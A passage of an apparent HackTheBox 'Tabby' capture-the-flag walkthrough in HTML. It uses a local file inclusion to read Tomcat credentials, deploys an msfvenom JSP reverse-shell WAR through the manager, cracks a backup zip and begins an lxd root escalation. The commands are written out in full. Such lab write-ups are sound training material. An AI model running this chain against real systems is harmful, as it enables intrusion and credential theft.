22/tcp    open   ssh     OpenSSH 8.2p1 Ubuntu 4 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp    open   http    Apache httpd 2.4.41 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: Mega Hosting
8080/tcp  open   http    Apache Tomcat
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
12712/tcp closed unknown
26817/tcp closed unknown
27436/tcp closed unknown
34408/tcp closed unknown
46483/tcp closed unknown
61123/tcp closed unknown
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The 2 open http ports (80 &amp;amp; 8080), are the primary focus to gain initial foothold.&lt;/p&gt;

&lt;p&gt;Hosted at port 80 is a PHP website offering hosting services.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fjldsxuyaj6lu1nane04p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fjldsxuyaj6lu1nane04p.png" alt="Port 80"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is always a good practice to view the source of the page. From here you can see Local File Inclusion (LFI) is possible. You can try grabbing the file such as the "/etc/passwd". More on this later.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fg485fqiiyd5kbyz69pod.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fg485fqiiyd5kbyz69pod.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Navigating to the site hosted at port 8080, we see the welcome page shows that tomcat9 is installed and also provides links to Tomcat manager app. This app is the route to getting initial foothold but you will need valid credentials.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fodblhaw4fi8vzk4sril3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fodblhaw4fi8vzk4sril3.png" alt="Port 8080"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With a valid credential, you can deploy a rogue app that would then give us access. As per the Tomcat documentation, the users that can access the manager application are in $CATALINA_BASE/conf/tomcat-users.xml. The goal now is to use the LFI from port 80 to grab the contents of the tomcat-users.xml. Using the $CATALINA_BASE dir listed on the webpage, you cannot get the users file. Searching around, you will find a file list for tomcat9. From this list you can see that the full directory of the user file is "/usr/share/tomcat9/etc/tomcat-users.xml". With the LFI on port 80, we can get the context of this file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kali@kali:~/HTB/Tabby&lt;span class="nv"&gt;$ &lt;/span&gt;curl http://megahosting.htb/news.php?file&lt;span class="o"&gt;=&lt;/span&gt;../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
&amp;lt;?xml &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"1.0"&lt;/span&gt; &lt;span class="nv"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"UTF-8"&lt;/span&gt;?&amp;gt;
&amp;lt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;
  Licensed to the Apache Software Foundation &lt;span class="o"&gt;(&lt;/span&gt;ASF&lt;span class="o"&gt;)&lt;/span&gt; under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work &lt;span class="k"&gt;for &lt;/span&gt;additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  &lt;span class="o"&gt;(&lt;/span&gt;the &lt;span class="s2"&gt;"License"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; you may not use this file except &lt;span class="k"&gt;in &lt;/span&gt;compliance with
  the License.  You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to &lt;span class="k"&gt;in &lt;/span&gt;writing, software
  distributed under the License is distributed on an &lt;span class="s2"&gt;"AS IS"&lt;/span&gt; BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License &lt;span class="k"&gt;for &lt;/span&gt;the specific language governing permissions and
  limitations under the License.
&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&amp;lt;tomcat-users &lt;span class="nv"&gt;xmlns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://tomcat.apache.org/xml"&lt;/span&gt;
              xmlns:xsi&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://www.w3.org/2001/XMLSchema-instance"&lt;/span&gt;
              xsi:schemaLocation&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://tomcat.apache.org/xml tomcat-users.xsd"&lt;/span&gt;
              &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"1.0"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&amp;lt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;
  NOTE:  By default, no user is included &lt;span class="k"&gt;in &lt;/span&gt;the &lt;span class="s2"&gt;"manager-gui"&lt;/span&gt; role required
  to operate the &lt;span class="s2"&gt;"/manager/html"&lt;/span&gt; web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you &lt;span class="k"&gt;do &lt;/span&gt;NOT use one of the &lt;span class="nb"&gt;users &lt;/span&gt;&lt;span class="k"&gt;in &lt;/span&gt;the commented out
  section below since they are intended &lt;span class="k"&gt;for &lt;/span&gt;use with the examples web
  application.
&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&amp;lt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;
  NOTE:  The sample user and role entries below are intended &lt;span class="k"&gt;for &lt;/span&gt;use with the
  examples web application. They are wrapped &lt;span class="k"&gt;in &lt;/span&gt;a comment and thus are ignored
  when reading this file. If you wish to configure these &lt;span class="nb"&gt;users &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;use with the
  examples web application, &lt;span class="k"&gt;do &lt;/span&gt;not forget to remove the &amp;lt;&lt;span class="o"&gt;!&lt;/span&gt;.. ..&amp;gt; that surrounds
  them. You will also need to &lt;span class="nb"&gt;set &lt;/span&gt;the passwords to something appropriate.
&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&amp;lt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;
  &amp;lt;role &lt;span class="nv"&gt;rolename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"tomcat"&lt;/span&gt;/&amp;gt;
  &amp;lt;role &lt;span class="nv"&gt;rolename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"role1"&lt;/span&gt;/&amp;gt;
  &amp;lt;user &lt;span class="nv"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"tomcat"&lt;/span&gt; &lt;span class="nv"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;must-be-changed&amp;gt;"&lt;/span&gt; &lt;span class="nv"&gt;roles&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"tomcat"&lt;/span&gt;/&amp;gt;
  &amp;lt;user &lt;span class="nv"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"both"&lt;/span&gt; &lt;span class="nv"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;must-be-changed&amp;gt;"&lt;/span&gt; &lt;span class="nv"&gt;roles&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"tomcat,role1"&lt;/span&gt;/&amp;gt;
  &amp;lt;user &lt;span class="nv"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"role1"&lt;/span&gt; &lt;span class="nv"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;must-be-changed&amp;gt;"&lt;/span&gt; &lt;span class="nv"&gt;roles&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"role1"&lt;/span&gt;/&amp;gt;
&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
   &amp;lt;role &lt;span class="nv"&gt;rolename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"admin-gui"&lt;/span&gt;/&amp;gt;
   &amp;lt;role &lt;span class="nv"&gt;rolename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"manager-script"&lt;/span&gt;/&amp;gt;
   &amp;lt;user &lt;span class="nv"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"tomcat"&lt;/span&gt; &lt;span class="nv"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$3cureP4s5w0rd123&lt;/span&gt;&lt;span class="s2"&gt;!"&lt;/span&gt; &lt;span class="nv"&gt;roles&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"admin-gui,manager-script"&lt;/span&gt;/&amp;gt;
&amp;lt;/tomcat-users&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see the both the username and password for the manager app are in the user file.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Keep in mind that if you do this through the browser, you will get a blank page. You would have to view the content of the page to see the config file. This is because none of the tags are valid HTML tags.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1&gt;
  
  
  Foothold
&lt;/h1&gt;

&lt;p&gt;Now that we have creds, the next step if to gain a foothold in the system. Going back to port 8080, we can log into the manager app with the username and password. The application will accept the credential for basic authentication, but it will show you a 403 error. This is because our user does not have the "manager-gui" role.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fhqfqv3ed3cgl597gmzhw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fhqfqv3ed3cgl597gmzhw.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can use the credential with curl to upload rogue application that will then give you a foothold. To generate the java war file that will be deployed on the server, you can leverage msfvenom or write one. I went with the former.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kali@kali:~/HTB/Tabby&lt;span class="nv"&gt;$ &lt;/span&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; java/jsp_shell_reverse_tcp &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.10.14.14 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1337 &lt;span class="nt"&gt;-f&lt;/span&gt; war &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; revshell.war
Payload size: 1089 bytes
Final size of war file: 1089 bytes
This file can now be deployed and be accessed at a specified endpoint &lt;span class="o"&gt;(&lt;/span&gt;/foo&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
kali@kali:~/HTB/Tabby&lt;span class="nv"&gt;$ pass&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;3cureP4s5w0rd123!"&lt;/span&gt;
kali@kali:~/HTB/Tabby&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; tomcat:&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="nt"&gt;--upload-file&lt;/span&gt; revshell.war &lt;span class="s2"&gt;"http://10.10.10.194:8080/manager/text/deploy?path=/foo&amp;amp;update=true"&lt;/span&gt;
&lt;span class="k"&gt;*&lt;/span&gt;   Trying 10.10.10.194:8080...
&lt;span class="k"&gt;*&lt;/span&gt; Connected to 10.10.10.194 &lt;span class="o"&gt;(&lt;/span&gt;10.10.10.194&lt;span class="o"&gt;)&lt;/span&gt; port 8080 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="c"&gt;#0)&lt;/span&gt;
&lt;span class="k"&gt;*&lt;/span&gt; Server auth using Basic with user &lt;span class="s1"&gt;'tomcat'&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; PUT /manager/text/deploy?path&lt;span class="o"&gt;=&lt;/span&gt;/foo&amp;amp;update&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true &lt;/span&gt;HTTP/1.1
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Host: 10.10.10.194:8080
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Authorization: Basic &lt;span class="nv"&gt;dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; User-Agent: curl/7.72.0
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Accept: &lt;span class="k"&gt;*&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Content-Length: 1089
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Expect: 100-continue
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 
&lt;span class="k"&gt;*&lt;/span&gt; Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 100 
&lt;span class="k"&gt;*&lt;/span&gt; We are completely uploaded and fine
&lt;span class="k"&gt;*&lt;/span&gt; Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 200 
&amp;lt; Cache-Control: private
&amp;lt; Expires: Thu, 01 Jan 1970 00:00:00 GMT
&amp;lt; X-Content-Type-Options: nosniff
&amp;lt; Content-Type: text/plain&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;utf-8
&amp;lt; Transfer-Encoding: chunked
&amp;lt; Date: Thu, 05 Nov 2020 05:08:56 GMT
&amp;lt; 
OK - Deployed application at context path &lt;span class="o"&gt;[&lt;/span&gt;/foo]
&lt;span class="k"&gt;*&lt;/span&gt; Connection &lt;span class="c"&gt;#0 to host 10.10.10.194 left intact&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now all you have to do is navigate to "&lt;a href="http://10.10.10.194:8080/foo/" rel="noopener noreferrer"&gt;http://10.10.10.194:8080/foo/&lt;/a&gt;" to start a reverse shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kali@kali:~/HTB/Tabby&lt;span class="nv"&gt;$ &lt;/span&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 1337
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 1337 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;10.10.14.14] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.10.10.194] 60742
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import pty;pty.spawn('/bin/bash')"&lt;/span&gt;
tomcat@tabby:/var/lib/tomcat9&lt;span class="nv"&gt;$ &lt;/span&gt;^Z
&lt;span class="o"&gt;[&lt;/span&gt;1]+  Stopped                 nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 1337
kali@kali:~/HTB/Tabby&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;stty &lt;/span&gt;raw &lt;span class="nt"&gt;-echo&lt;/span&gt;
kali@kali:~/HTB/Tabby&lt;span class="nv"&gt;$ &lt;/span&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 1337
tomcat@tabby:/var/lib/tomcat9&lt;span class="nv"&gt;$ &lt;/span&gt;
tomcat@tabby:/var/lib/tomcat9&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;TERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;xterm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Do the following to improve your shell experience and get a fully interactive TTY.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{In remote shell}
python3 -c "import pty;pty.spawn('/bin/bash')"
[Ctrl-Z]

{In local shell}
stty raw -echo
fg [enter] [enter]

{In remote shell}
export TERM=xterm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  User Exploit
&lt;/h1&gt;

&lt;p&gt;Running Linpeas, you see that the user on the box; ash, has a password protected backup zip file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] Backup files?
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 ash ash 8716 Jun 16 13:42 /var/www/html/files/16162020_backup.zip                                                                                                                                                             
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root root 2743 Apr 23  2020 /etc/apt/sources.list.curtin.old
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can use the tool fcrackzip to recover the password&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kali@kali:~/HTB/Tabby&lt;span class="nv"&gt;$ &lt;/span&gt;fcrackzip &lt;span class="nt"&gt;-D&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /usr/share/wordlists/rockyou.txt ash.zip
possible pw found: admin@it &lt;span class="o"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is not much to the zip file, but you can use this password to pivot to the user ash and get the user flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tomcat@tabby:/tmp&lt;span class="nv"&gt;$ &lt;/span&gt;su ash
Password: 
ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
total 28
drwxr-x--- 3 ash  ash  4096 Jun 16 13:59 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 3 root root 4096 Jun 16 13:32 ..
lrwxrwxrwx 1 root root    9 May 21 20:32 .bash_history -&amp;gt; /dev/null
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 ash  ash   220 Feb 25  2020 .bash_logout
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 ash  ash  3771 Feb 25  2020 .bashrc
drwx------ 2 ash  ash  4096 May 19 11:48 .cache
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 ash  ash   807 Feb 25  2020 .profile
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 ash  ash     0 May 19 11:48 .sudo_as_admin_successful
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 ash  ash    33 Nov  5 05:41 user.txt
ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; user.txt 
1 user.txt
ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;wc &lt;/span&gt;user.txt 
 1  1 33 user.txt
ash@tabby:~&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  More Reconnaissance
&lt;/h1&gt;

&lt;p&gt;Moving on to root privesc, more recon is needed. Again, from Linpeas results, you can see that the user ash is part of the lxd group. The provides a path to escalate to root. LXC is a lightweight virtualization technology and LXD is the corresponding hypervisor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] All &lt;span class="nb"&gt;users&lt;/span&gt; &amp;amp; &lt;span class="nb"&gt;groups
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;                                                                                                                                                                                                     
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;ash&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;ash&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;ash&lt;span class="o"&gt;)&lt;/span&gt;,4&lt;span class="o"&gt;(&lt;/span&gt;adm&lt;span class="o"&gt;)&lt;/span&gt;,24&lt;span class="o"&gt;(&lt;/span&gt;cdrom&lt;span class="o"&gt;)&lt;/span&gt;,30&lt;span class="o"&gt;(&lt;/span&gt;dip&lt;span class="o"&gt;)&lt;/span&gt;,46&lt;span class="o"&gt;(&lt;/span&gt;plugdev&lt;span class="o"&gt;)&lt;/span&gt;,116&lt;span class="o"&gt;(&lt;/span&gt;lxd&lt;span class="o"&gt;)&lt;/span&gt;                                                                                                                                                 
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100&lt;span class="o"&gt;(&lt;/span&gt;systemd-network&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;102&lt;span class="o"&gt;(&lt;/span&gt;systemd-network&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;102&lt;span class="o"&gt;(&lt;/span&gt;systemd-network&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;101&lt;span class="o"&gt;(&lt;/span&gt;systemd-resolve&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;103&lt;span class="o"&gt;(&lt;/span&gt;systemd-resolve&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;103&lt;span class="o"&gt;(&lt;/span&gt;systemd-resolve&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;102&lt;span class="o"&gt;(&lt;/span&gt;systemd-timesync&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;104&lt;span class="o"&gt;(&lt;/span&gt;systemd-timesync&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;104&lt;span class="o"&gt;(&lt;/span&gt;systemd-timesync&lt;span class="o"&gt;)&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A member of the group escalate to root easily because LXD is a root process that carries out action on behalf of the user. You can find a much detailed explanation here. &lt;/p&gt;

&lt;h1&gt;
  
  
  Root Exploit
&lt;/h1&gt;

&lt;p&gt;The gist of what needs to get done is as follows :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download and build the latest alpine container from github. You will need to do this on your local system.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone  https://github.com/saghul/lxd-alpine-builder.git
&lt;span class="nb"&gt;cd &lt;/span&gt;lxd-alpine-builder
./build-alpine
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;When the build completes, transfer the tar file generated to the victim machine (assuming you are running a webserver at port 8000)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;wget http://10.10.14.14:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200823_2337.tar.gz
&lt;span class="nt"&gt;--2020-11-05&lt;/span&gt; 07:11:27--  http://10.10.14.14:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200823_2337.tar.gz
Connecting to 10.10.14.14:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3183908 &lt;span class="o"&gt;(&lt;/span&gt;3.0M&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;application/gzip]
Saving to: &lt;span class="s1"&gt;'alpine-v3.12-x86_64-20200823_2337.tar.gz'&lt;/span&gt;
alpine-v3.12-x86_64 100%[&lt;span class="o"&gt;===================&amp;gt;]&lt;/span&gt;   3.04M  1.57MB/s    &lt;span class="k"&gt;in &lt;/span&gt;1.9s
2020-11-05 07:11:29 &lt;span class="o"&gt;(&lt;/span&gt;1.57 MB/s&lt;span class="o"&gt;)&lt;/span&gt; - &lt;span class="s1"&gt;'alpine-v3.12-x86_64-20200823_2337.tar.gz'&lt;/span&gt; saved &lt;span class="o"&gt;[&lt;/span&gt;3183908/3183908]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Import this image on the victim machine and then initialize lxd and lxc.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
